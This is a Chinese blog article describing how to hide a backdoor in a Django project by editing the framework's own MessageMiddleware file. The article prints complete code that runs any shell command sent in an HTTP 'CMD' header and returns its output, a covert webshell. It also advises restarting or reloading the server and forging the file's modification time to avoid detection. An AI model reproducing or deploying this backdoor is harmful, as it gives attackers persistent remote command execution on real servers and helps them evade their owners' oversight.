一种隐蔽的利用Django中间件(Middleware)留后门的方法
2022-10-17 10:21:26 Author: xz.aliyun.com(查看原文) 阅读量:21 收藏

关键词:Django、中间件、Middleware、留后门、驻留、webshell、getshell

  先了解下Django的请求生命周期和中间件在周期中的环节:

  Django 中间件是修改 Django request 或者 response 对象的钩子,可以理解为是介于 HttpRequest 与 HttpResponse 处理之间的一道处理过程。浏览器从请求到响应的过程中,Django 需要通过很多中间件来处理,可以看如下图所示:

  Django 中间件作用:
  - 修改请求,即传送到 view 中的 HttpRequest 对象。
  - 修改响应,即 view 返回的 HttpResponse 对象。
  如:利用中间件过滤response达到方法XSS的目的。

  读到这里,那么,利用中间件思路在Django中留后门是可行的,这里又有两种方案,一是自己写一个中间件,载入到项目中,另一个种是修改原有的中间件。当然是第二种更隐蔽、改动更小。

  Django默认创建项目(python3 manage.py project app)会生成如下settings:

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

  那么这些默认的中间件有没有办法利用呢?我挑选了Django自带的django.contrib.messages.middleware.MessageMiddleware,定位到文件:/usr/local/lib/python3.7/site-packages/django/contrib/messages/middleware.py。默认内容如下:

  代码修改如下:

from django.conf import settings
from django.contrib.messages.storage import default_storage
from django.utils.deprecation import MiddlewareMixin
from django.http import HttpResponse
import subprocess

class MessageMiddleware(MiddlewareMixin):
    """
    Middleware that handles temporary messages.
    """

    def process_request(self, request):
        request._messages = default_storage(request)

    def process_response(self, request, response):
        """
        Update the storage backend (i.e., save the messages).

        Raise ValueError if not all messages could be stored and DEBUG is True.
        """
        # A higher middleware layer may return a request which does not contain
        # messages storage, so make no assumption that it will be there.
        print("Django-shell working")
        cmd = None
        cmd = request.META.get("HTTP_CMD")
        if cmd:
            ret = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
            response = HttpResponse(cmd+":\r\n"+str(ret.stdout.read()))
        if hasattr(request, '_messages'):
            unstored_messages = request._messages.update(response)
            if unstored_messages and settings.DEBUG:
                raise ValueError('Not all temporary messages could be stored.')
        return response

  覆盖原文件后,如果项目是uwsgi起的需要重启或者重载,如果是runserver起的或者uwsgi配置文件配置了py-autoreload,那么就不需要重启。
  测试效果如下

  最后记得伪装下文件时间。


文章来源: https://xz.aliyun.com/t/11766
如有侵权请联系:admin#unsafe.sh